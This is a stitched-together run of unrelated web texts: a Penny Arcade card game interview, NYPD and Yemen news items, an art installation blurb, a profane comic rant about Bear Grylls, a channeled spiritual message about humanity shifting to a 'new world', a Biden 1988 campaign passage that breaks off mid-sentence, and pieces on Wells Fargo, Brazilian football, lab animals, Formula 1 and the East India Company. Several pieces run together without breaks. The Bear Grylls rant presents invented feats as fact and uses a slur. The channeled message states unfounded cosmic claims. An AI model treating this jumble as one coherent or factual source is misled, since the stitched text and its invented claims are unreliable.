Hata: In order to properly show the attitude of Penny Arcade in such a way that fans can really enjoy, the most important thing is flavor — from card names and abilities, to art and flavor text. The overall "world" or rules system has to also support this flavor as well, or else the blending of game mechanics and flavor will feel awkward to fans.
I am confident that my game system and card abilities accurately capture the flavor of Penny Arcade, and that fans of the webcomic will really enjoy this game. The game makes playing Tycho feel like playing a genius with vast amounts of intellect and options at his disposal, and playing Gabe like... well, playing Gabe.
This also holds true for how the two characters interact with each other: Tycho is more about the intricate combinations of cards that mess with Gabe, and Gabe is all about the straightforward kicks to the junk and the cardboard tube strikes that beat up Tycho.
Wired.com: How did this partnership between Penny Arcade and Fantasy Flight Games come to pass?
Hata: Years ago, Sabertooth Games collaborated with Penny Arcade on a very successful game. When Fantasy Flight Games acquired Sabertooth Games last year, one of the things we talked about was possibly collaborating again in order to create a Penny Arcade card game that was a fast and fun experience for fans of the webcomic. Through our talks with them, we decided to create a single box game which featured Gabe versus Tycho.
Wired.com: Is the game collectible?
Hata: All you need is in one box. This game is not collectible at all. Often, when potential players look at getting into a [collectible card game], they're concerned about how much they have to invest just to get caught up. Unless they get in on the ground floor, they can be behind other players.
We wanted to come out with a game that people would be able to pick up without having to bring a whole suitcase full of cards around, and we wanted fans of Penny Arcade who weren't necessarily [collectible card game] players to enjoy this game as well. This is in essence a classic beer-and-pretzels game. The rules are simple, the box is small and portable, and it's just plain fun.
See Also:Deborah Danner NYPD officers are reportedly furious with Police Commissioner James O'Neill for his condemnation of a police sergeant who shot a mentally ill woman last October—so angry that they're now passing around images of O'Neill's face superimposed on a firing range target.
The suggestive image has spread through the department since Wednesday, the Post reports, following Sergeant Hugh Barry's indictment on second degree murder charges for fatally shooting Deborah Danner, a 66-year-old schizophrenic woman who allegedly threatened Sgt. Barry with a baseball bat.
“It’s unfortunate some people have to resort to such unprofessional and inappropriate behavior,” said NYPD Assistant Commissioner J. Peter Donald, referring to the circulating image.
After the October shooting, Mayor de Blasio questioned why the sergeant did not use his Taser or wait for backup, and said that the incident "should never have happened, simple as that." Commissioner James O'Neill added, "What is clear in this one instance—we failed."
The commissioner's admission has enraged rank-and-file officers in the wake of their colleague's indictment, according to sources who spoke with the Post. "This is what the guys feel about 'a cop's cop,'" one unnamed cop told the tabloid, referring to the commissioner. "[O'Neill] wasted no time in throwing Barry under the bus."
On Wednesday, Sergeants Benevolent Association president Ed Mullins also attacked O'Neill's October comments, saying the top cop's "reaction triggered the mayor to go on a 48-hour tirade, ultimately, I believe, impacting the jury pool here in The Bronx."
"There's no doubt he was following what any New York City police officer would have done [given] deadly physical force with a baseball bat," Mullins continued. "We've seen it. It's taught in our training. He responded as he is required to do."
Prosecutors have pointed out that Sgt. Hugh did not receive the crisis intervention training, which became mandatory for new recruits about a year before the killing. While the specialized training is highly recommended by both mental health advocates and cops who have completed it, the program is currently voluntary for non-rookies, and has reached only 5,800 of the department's 35,000 officers.
In 2012, four years prior to her death, Danner penned an emotional essay about living with schizophrenia, along with a "wish list" of problems she'd like to see addressed. At the top of her list: "teaching law enforcement officers how to deal with the mentally ill in crisis."Stanley Donwood: Optical Glade
The English artist Stanley Donwood has transformed the Bonnefantenmuseum's striking Cupola into a remarkable installation. In the space of four weeks, Donwood has created the staggering black-and-white wall painting Optical Glade on the inside of the round tower. In collaboration with Radiohead's frontman Thom Yorke, Donwood has also added a sound composition to the 'optimal experience of the mysterious and almost sacred space'. From now on, this unique installation will be on permanent display in the museum for at least two years.Stanley Donwood is the pseudonym of Dan Rickwood (1968, Essex, England). He is known mainly for his collaboration with the rock band Radiohead and their frontman Thom Yorke. Donwood studied at the University of Exeter, where he met and became good friends with Thom Yorke. Since the mid-nineties, he has been designing the album covers and posters for Radiohead and for Yorke's solo projects, and has thus created the visual identity of the world-famous musicians. Besides these designs, Donwood also makes many cheerful-looking illustrations with socio-political messages, and autonomous work that conjures up open spaces and desolate landscapes. Alongside his work as an artist, Donwood writes and publishes books of short stories, including Humor (2014), and he blogs about everything he is doing on his own site slowlydownward.com Optical Glade is based on a linocut that Donwood made a few years ago entitled Optical Tree, which is a geometric reduction of the main characteristics of a tree. For the round inner tower, Donwood opted for the form of a stylised ring of inverted trees. Their grooved trunks run downwards from the octagonal light source at the top of the Cupola, and their branches and twigs wind around the walls, creating the illusion of a moonlit cage of shadows; a refuge or a trap. The work is inspired by the open spaces in North European forests and the ancient and mysterious Seahenge in the east of England, which was exposed during a heavy winter storm.The wall painting in the Cupola is accompanied by Thom Yorke's sound composition Subterranea v3, which can be listened to in an infinite number of ways. The core of the composition conceals sounds that were recorded in a deciduous forest at the end of summer, at sunrise and sunset.Bear Grylls
Bear Grylls is the host of TV's Man Vs. Wild, a show almost completely centered around him parachuting into the harshest climates on the planet, chopping down trees with a butter knife, building homemade flotation devices out of bamboo shoots and shoelaces and then slaughtering two-thirds of the indigenous species of that particular region using only his bare hands and his teeth. Bear got his start whomping balls in the British SAS, which is pretty much one of the most badass military units to ever strap on steel-tipped boots and kick terrorists square in the junksack. He was trained in survival, mountaineering, parachuting and hand-to-hand asskicking by the most hardcore drill sergeants this side of Full Metal Jacket and served actively in a bunch of crazy fucking black ops shit right out of a Chuck Norris movie, until all of a sudden one day his parachute ripped in half while he was plummeting to Earth and he ended up breaking his spine in fifteen places and having his legs eaten by rabid lions. Bear was so badass though that he ended up knifing the lions to death with a rusty shiv and re-attaching his legs using only a pocketknife and a couple vines tied into perfect sqare knots. Since the SAS has this crazy policy where they don't employ dudes with broken backs, they let Bear go off into the wild on his own. Within two years he had miraculously rehabilitated himself to the point where he became the youngest British dude to ever summit Mount Everest. After that he went off and put himself through three months of basic training in the middle of the Sahara Desert for the French Foreign Legion just for fun. Once he sufficiently proved the size of his enormous nuts to the French dudes, he decided it was time to start up Man Vs. Wild and prove to the rest of the world that he was the most hardcore motherfucker to ever punch a rattlesnake in the mouth. Now Man Vs. Wild is ostensibly a program designed "to show you how to survive in the wild" by teaching you all sorts of insane fucking survival techniques. In actuality, the show is more or less "look at how fucking awesome I am", because Bear Grylls does all sorts of superhuman insane shit that no other human being on the planet should ever be able to accomplish.
Two things strike me as being totally balls-out about Bear Grylls. First off, the man will eat fucking anything. He'll bite the heads off of live rodents and insects, he'll chow down on crazy shit like pirahnas, tarantualas and rusty thumbtacks... fuck, the dude once drank an entire water bottle filled with his own piss in an effort to stay hydrated in the middle of the goddamned Australian Outback. It doesn't get more hardcore than shotgunning your own urine. It's like the Holy Grail of Survivalism - you either have the nuts to do it or you die an excruciatingly painful death by dehydration. Secondly, the dude has a climbing ability the likes of which make The Amazing Spider-Man look like the fucking last kid up the rope in gym class. He'll be standing there looking at a cliff face that better resembles a pane of sheet glass than it does a rock wall, and he'll just be like, "no problem, I'll just climb up this fucking wall and get out of the canyon", and shimmy up the wall with about as much difficulty as it takes a regular person to tie their shoes. It's so awesome that it borders on retarded. Another sweet thing about Bear is that his answer to everything is to just suck it up and do some fucking pushups like a real man. It doesn't matter if you've just fallen face-first into freezing cold water, jumped into a pool of molten magma or had your arm bitten off by a polar bear - as long as you do some goddamned pushups you'll be fucking fine. Stop being a baby, walk it off, and get going. He also doesn't give a shit about putting himself in life-threatening situations purely for the enjoyment of his viewers. At least once per episode he does some stupid-ass thing like purposefully jumping into a vat of quicksand, leaping off a thirty foot cliff into a pool of glacial water, getting himself trapped underneath some ice or showing you how to survive if an alligator tries to chomp down on your head or something. Bear also proves something that a lot of people tend to forget - that humans are the most badass motherfucking animals on the planet. A lot of humans tend to "get soft" by living up the cushy city life, but it's nice to see guys like Bear getting out there and showing the fucking animal kingdom that we're still the toughest bastards around. He kills a rabbit by sharpening a stick into a point and chucking it with enough force to dent sheet metal, he builds a bow and arrow out of bamboo and skewers pirahnas with it, he beats trout to death with his bare hands, he can make fire just by rubbing his hands together really fast and yelling and he can build rafts and shit out of things that theoretically shouldn't actually even be able to float. Darwin would be proud. Basically, Bear Grylls is totally fucking sweet to the max and Man Vs. Wild is one of those shows that puts hair on your chest every time you watch it. He's the ultimate survivalist, a tough-as-nails adventurer, and the sort of guy who can walk up to Mother Nature herself and give her a right proper bitch-slap across the face.
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RSSSwaraj has informed the state that two ships have been sent to Yemen to rescue the Indians, including Malayalees, who have been stranded in that country. (Source: AP)
The central government was considering the possibility of airlifting stranded Indians including Keralites from strife-torn Yemen, External Affairs Minister Sushama Swaraj has informed Chief Minister Oommen Chandy.
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Swaraj has informed the state that two ships have been sent to Yemen to rescue the Indians, including Malayalees, who have been stranded in that country.
[related-post]
But the ships would take five days to reach its destination. In such a situation, the possibility of airlifting the people are also being discussed, for which the Saudi Government has been approached, the Union Minister said, according to an official release issued.
Chandy also spoke with several families of Keralites in Yemen over phone on Friday. Passports of most of them were being detained. The Indian Embassy in Yemen has intervened in this matter, the release said.
“If they don’t get their passports, exit pass will be issued to them and will be brought back to India. They will be given another passport. Embassy has also intervened in the matter related with release of salary,” the release said.
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Quoting Chandy, the release also said all Malayalee families in Yemen were safe.And so it is with the greatest of pleasure that we can welcome you all to the New, in every sense of the word. For as you once again came together to pool your resources in the way that only you can, you once again managed to establish yourselves on a very new level of existence, one that has been unattainable for mankind up until now. But now, you have arrived, and alongside you a whole new world has come into being. We know that these words may be thought of as nothing more than fanciful pleasantries to those still mired within the old subsets, but to those of you already pulling in that enticing and oh so fresh new air into your lungs, you will be more than willing to agree upon these sentiments. For you know, beyond any shadow of a doubt, that the world you awakened to bears little resemblance to the one you left behind a few short hours ago.
Again, looking at this from a purely superficial perspective, nothing at all will seem to have changed, but again, the changes we refer to are so deep and so profound, they affect you all literally on a subatomic level. You see, this shift out from the old and into the New world is not one that is undertaken by way of hovering spacecrafts appearing before you to whisk you away to some hidden planet somewhere far, far away deep out in space. No, this transmigration that we speak of, is one that is undertaken by way of literally jumping from one frequency to the next. And even if the distance between these two stations is almost impossible to measure out by way of your rather crude ways of calculation, it is indeed equivalent to a very literal quantum leap, and the chasm between the two opposite stations could not have been deeper.
You see, what we are talking about, is a shift that is so profound, yet it takes part on a level that makes it nigh impossible for you to detect with any kind of apparatus you have yet to even develop. Yet, through that most discerning apparatus you already have at your disposal, namely your very own heart, you will know within every fibre of your being that what we talk about is indeed already a reality. For the shift that took place during that oft-mentioned and rightly lauded get-together you call your Gathering was such a monumental success, it will rank very high in the annals of mankind, once they get published in their entirety. You see, what you did has already changed so much, so yet again your old history books may as well already be relegated to the scrap heap, if such a thing even exists anymore. For you have already begun to fulfill your own dream of creating your very own paradise, one that will be the home of countless of your fellow humans too. For this is not merely something you did for your own amusement or indeed benefit. No, this is something you did for ALL, and now, the time will come for every single soul in existence on that old version of your world to take it upon themselves to go deep within and dig out that old contract they made with themselves before they entered their current body in that ancient version of your world that still goes by the name of Planet Earth. For remember, having a dual citizenship is no longer an option, so this time, it comes down to every single individual to make that choice, and to make it by way of the choice they already set down before they committed themselves to be present here at this very time in space.
For this time, you all came in fully aware of the fact that you would be given the option to act on that choice, for this time, it was not simply a matter of completing yet another one of an already seemingly endless line of human lives. No, this time, it was all about making a decisive decision, whether to agree to be a part of the upward spiraling effort, or whether to simply adhere to that already downward accelerating one. And yesterday you all stood there at the still point in between the two, for you where the focal point through which this incoming ray of light shone, and through this lens the light was scattered into a myriad of options, and so, you had the choice, and what you chose, was to lift yourselves to the highest available option. For you chose the bandwidth at the far outer reaches of the spectrum, and by doing just that, you set the pace for this upcoming process to one that far surpassed our expectations. For you declared yourselves ready and able to complete this journey in such a manner and at such a pace, the old timetable could once again also be relegated to the scrap heap, alongside your own history books.
You see, as we have pointed out again and again, this is done BY you, not for you, and even if the incoming light cannot be stopped, you can – if you so wish – slow down the effects of it. But the price you pay for this is indeed an added increase in intensity, for just like water held up behind a dam, the accumulated effect will indeed greatly magnify. But thanks to your splendid ability to carry through on your decision, you managed to almost outrun the light in your quest for pulling ahead of the flood. In other words, not only did you manage to push away every single one of the obstacles put in your way by some of your more hesitant fellow men, you also managed to increase the velocity of the incoming light by adding your – perhaps in some quarters – under-estimated formidable energetic “weight” to this forward propulsion, and by doing that, you literally completed what can only be deemed as the most impressive home run ever.
Forgive us for using these perhaps somewhat flippant phrases in describing what can only be termed as not just a life altering, but also a time altering event, but it is indeed also time to not just reflect a little upon what happened, but is also time to literally tune into the very lightness of it. For it is truly an event of the most joy-filled kind, especially for all those of your fellow men already hearing the cheering from their own core, the one that will begin to emerge from the very depths of themselves telling them “now I DO have a choice, I no longer need to complete this downward spiraling cycle that I entered as I entered this physical body in this very physical world. Now I have a new home I can move to, should I so wish to do so”. For remember, it is indeed up to each and every single soul to make that choice, that is not something we or you or anyone else can make for them, no matter how hard it may be to have to witness the outcome of any one single soul’s choice in this matter.
For the new world is for all, but it is not a place anyone can be forcibly moved to. It is a place that you must choose to relocate to, by allowing your heart to lead you there. It can be a process that takes as little time as blinking your eyes, or it can be a process that takes a lifetime, or even more. Be that as it may, the road towards tomorrow will be a long one for some, it will be an exhilarating short one for others, but for you, the journey is already complete. For you have already arrived, but again, you will have little time to rest on your well deserved laurels, for now, the work will once again start up, and it will do so with a brand new fervor, one that is perfectly suited to your brand new energetic environment, and one that is also necessary for the monumental tasks that await you. But alongside these tasks follows a deep sense of joy and wonder that is even greater, so we would not be surprised if we see you rubbing your hands in eagerness to literally begin to dig into it at the earliest of opportunities. After all, you have proven again and again that you would rather push ahead than linger when it comes to completing the tasks that beckons. For you are beings more than capable of doing, and in this, your very essence is one of getting this done – in the very best way and at the earliest of opportunities.
So take a little time to simply look around you, and also take a little time to peruse what you have left behind, and do to forget to take some time to pat yourself on the back and congratulate yourself for a task well done. For it was YOU who did it, no one else, and so, you well and truly deserve all of the accolades you can get, and we certainly hope you can be more than a little generous with it towards yourself this time. For we do think you still have a way of not allowing yourself to truly see your own greatness, but this time, it is indeed high time that you all rise to the occasion and do just that in honor of who you are and in honor of what you have already accomplished. For it is nothing short of magnificent, and so too are you.
AdvertisementsThe 1988 presidential campaign of Joe Biden, the longtime Democratic United States Senator from Delaware and eventual 47th Vice President of the United States, began in June 1987. He ran for President of the United States in the 1988 United States presidential election. He was considered one of the potentially strongest candidates in the field. However, in September 1987, newspaper stories stated he had plagiarized a speech by British politician Neil Kinnock. Other allegations of past law school plagiarism and exaggerating his academic record soon followed. Biden withdrew from the race later that month.
Leading up to the announcement [ edit ]
Development of a candidacy [ edit ]
Biden had been mentioned among possible contenders in the 1984 presidential election. He had considered the notion in 1983,[1] urged on by pollster Pat Caddell, who thought there was space for a young candidate.[2] A fiery speech he gave to several Democratic audiences had simultaneously scolded Democrats for outdated thinking and encouraged them regarding future directions, and had gained him some notice in the party.[1] However, Biden did not enter the race that season. Nonetheless, he won one vote at the 1984 Democratic National Convention.
Biden was active on the party speaking circuit from 1985 on, and was considered one of the best orators among the potential presidential candidates for 1988.[3] The declared absence of Senator Ted Kennedy from the field, to whom Biden was sometimes compared, was also encouraging to a possible Biden candidacy.[2]
Biden received considerable attention in the summer of 1986 when he excoriated Secretary of State George Shultz at a Senate hearing because of the Reagan administration's support of South Africa, which continued to support a system of apartheid.[4]
Biden was initially considered one of the potentially strongest candidates as campaigning began in 1987.[5] This was because of his moderate image, his speaking ability on the stump (rated second only to that of Jesse Jackson), his appeal to Baby Boomers, his high-profile position as chair of the Senate Judiciary committee, looming for the Robert Bork confirmation hearings, and his fundraising appeal—his $1.7 million raised in the first quarter of 1987 was more than any other candidate.[6][7] By the end of April he had raised $2 million, using not just contributions from Delaware but also establishing a base of support among young professionals and Jewish voters in a number of urban- and suburban-oriented states.[8] He had no campaign debt, and Fortune magazine termed his "most impressive start" a "surprise".[8]
When the campaign began, former Senator Gary Hart, who had made a strong nomination run four years earlier, was considered the clear front-runner.[1] Indeed, The Wall Street Journal referred to the eight-person Democratic field as "Snow White and the Seven Dwarfs".[9] The field's chances were greatly improved once Hart withdrew from the race in May 1987, following revelations of Donna Rice and Monkey Business.[1][2]
However, Biden did not see a rise in his poll numbers immediately after the Hart withdrawal, and was particularly stagnant in polls for the Iowa caucuses.[10] Nevertheless, Biden had confidence that he could prevail; on the eve of his announcement, he said: "I'm going to win this thing. I really am. I just know it, I can feel it in my fingertips."[10] Some political professionals saw Biden as believing that he could simply will himself to win the race, but his continued ability to raise campaign funds gave him credibility as a candidate.[10]
Announcement [ edit ]
Announcement of Biden's official candidacy
At the age of 45, Biden became one of the official candidates for Democratic nomination, formally declaring his candidacy at the Wilmington train station on June 9, 1987.[11]
In his speech, Biden said that Americans should rise above "the mere accumulation of material things".[11] In language intended to recall John F. Kennedy, he said, "For too long in this society, we have celebrated unrestrained individualism over common community. For too long as a nation, we have been lulled by the anthem of self-interest. For a decade, led by Ronald Reagan, self-aggrandizement has been the full-throated cry of this society: 'I've got mine so why don't you get yours' and 'What's in it for me?'... We must rekindle the fire of idealism in our society, for nothing suffocates the promise of America more than unbounded cynicism and indifference."[11]
Biden also laid out the platform he was running on, which included a middle stance between protectionism and free trade, opposition to the Reagan Strategic Defense Initiative, and support for child welfare, reduction of poverty, and the war against illegal drugs.[2] Biden also emphasized the need for integrity in government.[2]
Campaign staff and policy team [ edit ]
Biden's campaign manager was Tim Ridley, his press secretary was Larry Rasky, and his pollster and strategist was Pat Caddell.[10][12] Biden's Senate chief-of-staff Ted Kaufman served as the campaign treasurer and principle fundraiser.[8][10] John Marttila served as a political consultant and Tom Donilon served as another strategist.[10] Biden's sister Valerie Biden Owens also served a major role in running the campaign, as she had in all of his Senate campaigns,[13] and was considered "first among equals" in making decisions.[10]
Campaign developments 1987 [ edit ]
Summer 1987 [ edit ]
Once underway, Biden's campaign messaging became confused due to staff rivalries and bickering.[10][14] Four different themes were presented, sometimes simultaneously: "Pepsi Generation", "Voice of optimism", "Save the children", and "Scold the voters".[12] Pollster Pat Caddell in particular was a disruptive force within the campaign, but he had been Biden's friend for 15 years.[12] Another of the themes was generational change; Biden hoped to inspire a new generation, as John F. Kennedy had inspired his.[15] But that theme was not catching on especially well.[16] Biden was also hurt by his never having been a player in the Washington social scene.[17]
By August |
would eventually be folded into the larger settlement). The L.A. Times also had disclosed that the bank was under federal investigation.
American Banker asked Sloan, “Wells has come under scrutiny for its strong sales culture. Is there any sense that the bank has pushed that strategy to the limit?”
“No,” Sloan replied.
He said that the company’s vision is to satisfy their customers’ needs and help them succeed. “We know a lot about our customers, and so doesn’t it make sense that we would use our data and match it with our product set to try to broaden our relationship with our customer?”
While Sloan spoke of appropriately selling to customers and “making sure we follow regulations,” he concluded, “the fundamental strategy that we have is not going to change.”
That strategy has changed, after Wells Fargo revealed it fired 5,300 employees over the past five years for illegally opening unwanted accounts in customers’ names, often forging signatures or using phony e-mail addresses to do it. Senior management set a “cross-selling” target of eight accounts per household, urging line-level employees to get checking account customers to open a savings account, or a credit card, or a wealth management account.
Workers described a pressure-cooker environment, with supervisors demanding that they meet these challenging sales goals or else stay late without pay. Whistleblowers who informed Wells Fargo management of the bogus account generation were allegedly retaliated against.
When Sloan made these statements in June, thousands of Wells Fargo employees had already been fired for creating fraudulent accounts. Wells Fargo eliminated all product sales goals for their retail bank branches on Oct. 1 of this year.
Stumpf testified to Congress that he learned of the scandal in “late 2013.”
Prior to taking over for Stumpf, Sloan served as Wells Fargo’s president and chief operating officer. Wells Fargo tipped that Sloan was being primed for even greater control of the company on Oct. 11, when it restructured its top management to give Sloan more power.
According to the company’s annual proxy statement, in 2015 Sloan made $2 million in annual salary, along with $6.5 million in stock awards and another $1.5 million in restricted shares that vest at a later date. Between unvested and owned common stock, Sloan holds 1.56 million shares of Wells Fargo.
That means that, like Stumpf, Sloan profited from the touting of company sales goals in annual reports and investor calls, which boosted Wells Fargo’s share price between 2010 and 2015. Sen. Elizabeth Warren, D-Mass., wants Stumpf criminally investigated for boosting the company’s sales growth without telling investors it was obtained fraudulently.
Sloan’s interview in June suggests he wasn’t interested in shutting down the fake accounts either.Image copyright AFP Image caption Brazilian fans were left distraught by the team's performance
Brazilian President Dilma Rousseff has urged the country to bounce back after its devastating 7-1 World Cup defeat against Germany.
"Like all Brazilians, I am very, very sad after the defeat. But we will not let ourselves be broken," she tweeted.
The coach of the national team Luiz Felipe Scolari called the defeat "the worst day of his life".
Brazilian media reflected the mood of shock on Wednesday, describing the result as a "historic humiliation".
The result was Brazil's biggest defeat in World Cup finals history.
Image copyright AFP Image caption At public viewing events in Brazil, fans' disappointment was palpable
Image copyright PA Image caption The shock of those inside the Mineirao stadium in Belo Horizonte was no less visible
Image copyright AP Image caption There were some reports of incidents of violence at places where fans had gathered
Image copyright Reuters Image caption The German team was accompanied by military police on their return to their training camp
Image copyright AP Image caption Fans in Germany celebrated into Wednesday morning
The BBC's Wyre Davies in Rio de Janeiro
Fans who had paid upwards of $300 (£175) for their tickets were streaming out of the ground in Belo Horizonte at half-time - by which time the Germans were already way out of sight with a commanding 5-0 lead.
On Tuesday night, many Brazilians were dealing with defeat in the way they know best - playing music, drinking and staying out on the streets.
Others have taken it to heart. Football and the Selecao really do mean that much to them.
They're hurt and humiliated. To be fair the writing had been on the wall, it's just that no-one had expected this World Cup campaign, on home soil, to be extinguished in such a brutal manner.
Shock and humiliation after German rout
Media playback is unsupported on your device Media caption The BBC's Ben Brown said Brazil fans were in utter shock
"I feel bad for all of us - for fans and for our players," Ms Rousseff said, urging Brazilians to "get up, shake off the dust and come out on top".
Some have speculated that the team's poor showing may affect Ms Rousseff's chances in the presidential election in October.
"Brazil's historic humiliation has set off a warning signal in Dilma Rousseff's government, which fears that the bad mood stemming from the defeat may affect expectations for the economy - already not very favourable - as well as the campaign trail," a column in the Folha de Sao Paulo newspaper said.
It added that fans in the stadium had chanted insults about Ms Rousseff.
The German team established a 5-0 lead within just 29 minutes, adding two more goals in the second half.
By the end of the match many of the remaining Brazilian fans were cheering the German team.
The match was the first time a team had scored seven goals in a World Cup semi-final, and the first World Cup game with eight or more goals since Germany beat Saudi Arabia 8-0 in 2002.
Twitter was soon abuzz with jokes about the result
Image copyright Other
Germany 7- 1 Brazil: The internet responds
Brazil defeat breaks Twitter records
In Brazil the match has already been dubbed the "Mineirazo" after the Mineirao Stadium in Belo Horizonte, recalling the "Maracanazo", Brazil's defeat at the hands of Uruguay in the World Cup final at the Maracana stadium in Rio de Janeiro in 1950.
The website of the Brazilian newspaper O Dia presented all images from the game drained of any colour with the headline "Shame in the country of football".
Germany will now face either Argentina or the Netherlands, who play each other on Wednesday evening.
German Chancellor Angela Merkel and President Joachim Gauck are expected to fly to Brazil to watch the final on Sunday.
Media playback is unsupported on your device Media caption German fans celebrate in Brazil
Painful Brazil defeats of the past
1950: Uruguay beat Brazil 2-1 in the final of the World Cup at the Maracana stadium in Rio de Janeiro. When Uruguay winger Alcides Ghiggia scores the decisive second goal with 11 minutes to go, 200,000 Brazilian fans in the stadium fall silent. The unexpected defeat becomes known as the Maracanazo and is considered a national tragedy: The goal that broke Brazil's heart.
1966: Brazil's worst performance overall at a World Cup, with the team eliminated in the first round for the first time since 1934 after superstar Pele came in for brutal treatment from opposing defences.
1978: Brazil and hosts Argentina compete in the second-round group stage, with top spot required to go through to the final. When Brazil beat Poland 3-1, they look set to progress. Argentina, whose kick-off is later, know they need four clear goals. Peru collapse completely and Argentina win 6-0, eventually taking the World Cup. A Peruvian senator, among others, has since alleged that the military rulers of Peru and Argentina fixed the game.
1982: Brazil are eliminated from the World Cup after a hat-trick from Italy striker Paolo Rossi in the final match of the second-round group stage. Brazil had won all four of their previous matches in style and were the pre-tournament favourites to take the Cup.
1998: Brazil play France in the final. Brazil star striker Ronaldo is left off the teamsheet after reportedly blacking out in the dressing room just before the game, only to reappear just in time for kick-off. A below-par Ronaldo is subsequently eclipsed by France's Zinedine Zidane in a one-sided match which saw France crowned world champions for the first time.
It is, however, worth mentioning that Brazil won the World Cup in 1958, 1962, 1970, 1994 and 2002 - which is more times than any other nation.In an historic move to more effectively eliminate hunger in Arkansas, the Arkansas Foodbank and the Arkansas Rice Depot announced Thursday, after approval from both organizations’ boards of directors, plans to merge effective Jan. 1, 2016.
The two nonprofits have long been dedicated to serving hungry Arkansans through various programs reaching school-aged children, college students, families and seniors.
The merger will allow existing programs of both organizations to continue, as well as expand, reaching even more in need due to gained operational efficiencies, the two groups said.
The current names and legacies of both AFB and ARD will be evident in the new structure, officials said, and all staff members will be retained due to the expansion of programs.
“I am thrilled by the exponential potential that this merger will create,” said Rhonda Sanders, CEO of the Arkansas Foodbank. “Both organizations exist to alleviate hunger, and we will be more effective in doing that together.”
“The new organization not only has a goal of increasing the amount of food distributed, but also the nutritional value of the food served,” added Kim Aaron, president and CEO of the Arkansas Rice Depot.
Both AFB and ARD will continue operating independently until the January merger, with all programs and special events continuing as planned.
Additional information regarding the structure, plans and goals of the merged organization will be announced at a media event to be held in the coming months, the two leaders said.
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When labs aren't breeding their own animals to prod and butcher, they might be going after your old pets. Breeding dogs is expensive and time-consuming. However, there is a ready-made source of free dogs and cats: the local animal shelter. "Class B" or "Random source" animal dealers purchase animals legitimately from shelters or unscrupulous hobby breeders and send them to labs. Less reputable dealers, or "bunchers," will gather animals from "free to good home" ads on services like Craigslist, often posing as legitimate families seeking pets, and then sell them to labs.
konglinguang/iStock/Getty Images
Yeah.
You might think lab techs would have to be cold on a Cruella de Vil level to be able to experiment on pets, but if so, they don't start out that way. When one student in one of my labs first began doing research, she had just three pairs of mice. She named them: Mickey and Minnie, Donald and Daisy, Benny and Joon. She spent time in the lab with them, worried over them when they got sick (which they inevitably did), and tried to enrich their lives by giving them toys. She cried when she had to euthanize one. Soon, though, the mice did what mice do, and the number of mice in her care rose from six to 80. By this time, none of the mice had names or toys. She euthanized them in batches without a tear.
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As the number of mice in your care grows still higher, you may feel no pangs at breeding and killing dozens of spare animals on the side for no reason. I knew another scientist, a Ph.D., who had an active colony of 500 mice even though he was doing no research. They kept reproducing, and the lab techs had to keep culling a couple dozen individuals every month because the researcher was not authorized to have more than 500 mice. But the researcher wanted to always have some mice available, just in case, and the colony kept grinding out babies.
Jessica Addams
Even if you never do a lick of research, having a literal rodent plague on hand can make for one hell of an April Fool's Day.
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My own solution for this was to try from the very beginning not to emotionally invest in any of the animals, leaving any advocacy on their behalf for after I was gone from the labs. But I did manage a small rebellion: I filled out paperwork to (legitimately!) rescue a surplus rat that was completely healthy but due for euthanasia because she had been "forgotten" by the researchers and was now too old to be used. I took her home a day before the paperwork actually went through. I named her "Felony."
This article is my second rebellion. I am no longer employed by a lab and am a loyal servant of the Rat King, free to let people know that this kind of thing is going on. It's some pretty important stuff, and besides, I promised the rats I'd tell someone about them. Felony lived out the rest of her days with me. She never was particularly fond of people, but she had what I can only hope to be a fine time ignoring me and shredding little cardboard toilet paper tubes. You might find this vaguely reminiscent of Rise of the Planet of the Apes, only with a mouse instead of a chimpanzee. But that turned out fine, didn't it?
Jessica Addams does not claim to have any answers. Her hallucinations concerning animal welfare, in which you are welcome to share, are available at www.animalfeasance.com. Ryan Menezes has lived with rats but out of poverty, not choice. Now, he lives on Twitter.
For more insider perspectives, check out 5 Horrifying Truths About Being a Medical Doctor and 5 Things You Learn Escorting Women Into an Abortion Clinic.
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Check out Robert Evans' A Brief History of Vice: How Bad Behavior Built Civilization, a celebration of the brave, drunken pioneers who built our civilization one seemingly bad decision at a time.Romain Grosjean believes Haas need to up their development game and their tyre usage next year if they want to take another step forward.
The American squad enjoyed a successful debut campaign last year as they finished eighth in the standings and they repeated that result this season.
However, on both occasions they started the year well but their form tailed off as their rivals introduced upgrades.
Grosjean, who was responsible for the team’s 29 points this season, says there is plenty of room for improvement.
When asked about the area that Haas needs to focus on next year, he is quoted as saying by GPUpdate.net: “I think development. We’ve seen two years in a row where the trend is to go a bit down in the year.
“We started twice with a very good platform and we’ve been struggling.
“[With the] tyres… [we are] still not up there with tyre usage and understanding, so they’re the two main areas.
“Behind the scenes there a few things we can co-ordinate better between the factories.
“[There’s Ferrari] in Maranello, the one in Dallara, the one in England, and getting things to run smoother and more efficient [will help].”
Despite a poor second half of the season, the Frenchman still feels they have “done very well” – and maybe enough to get punters backing the team ahead of next season with nodepsositbonus.co.uk.
“I think it’s a good year, it’s only our second season in Formula 1, and there’s been a big change of regulation,” he said.
“It’s always the toughest one, the second one, so I think we’ve done very well, going into the last race potentially capable of finishing sixth in the championship.
“When you know three teams are untouchable it’s pretty good, that’s super positive.
“There’s a lot of work we need to do in the future, a lot of areas [where] we can improve, but I think the model is working pretty well.
“Of course, it’s always going to be harder to get up to the next speed, but that’s clearly the target for the future.”Angry protesters strike a poster showing a portrait of US President Barack Obama during a demonstration against the anti-Islam film. – Photo by AP
For thousands of years, the empire from Afghanistan in the west to modern day Pakistan and India in the centre, and Sri Lanka in the east was collectively called India. At the zenith of the Mughal rule, in modern Gross National Product (GNP) equivalence, India was the greatest economic superpower of the time. Though after the decisive Battle of Plassey in June 1757, the East India Company took over the rule of this economic juggernaut of the Middle Ages. The shares of the company were owned by private individuals with no direct control from the British Government.
In comparison, there is no present day private company that has a whole country as its asset, let alone, the asset being the greatest superpower in the world. The East India Company had a 250,000 strong private army in India. In 1835, East India Company issued its own Indian currency – effectively becoming the dejure state of the land. Around 200,000 strong of the East India Company private army were sepoys, local Hindu and Muslim soldiers. The rest of the 50,000 officers and soldiers were British.
In 1853, new “Enfield” rifles were introduced. To load the rifle, sepoys had to bite the cartridge open to release the powder. The cartridges were pre-greased with tallow. This was supposedly either derived from beef or lard (pork): offensive to the Hindus and Muslims respectively. Thus rumours started circulating that the British sought to destroy the religions of the Indian people. The narrative went as follows: as a way to ensure the destruction of religion, the East India Company is forcing the native soldiers to become unholy by biting the bullet. The hired guns of a mercenary army chartered by a private company were fine with murder of their brethren on the behest of faceless stock owners but not so comfortable with biting the bullet first.
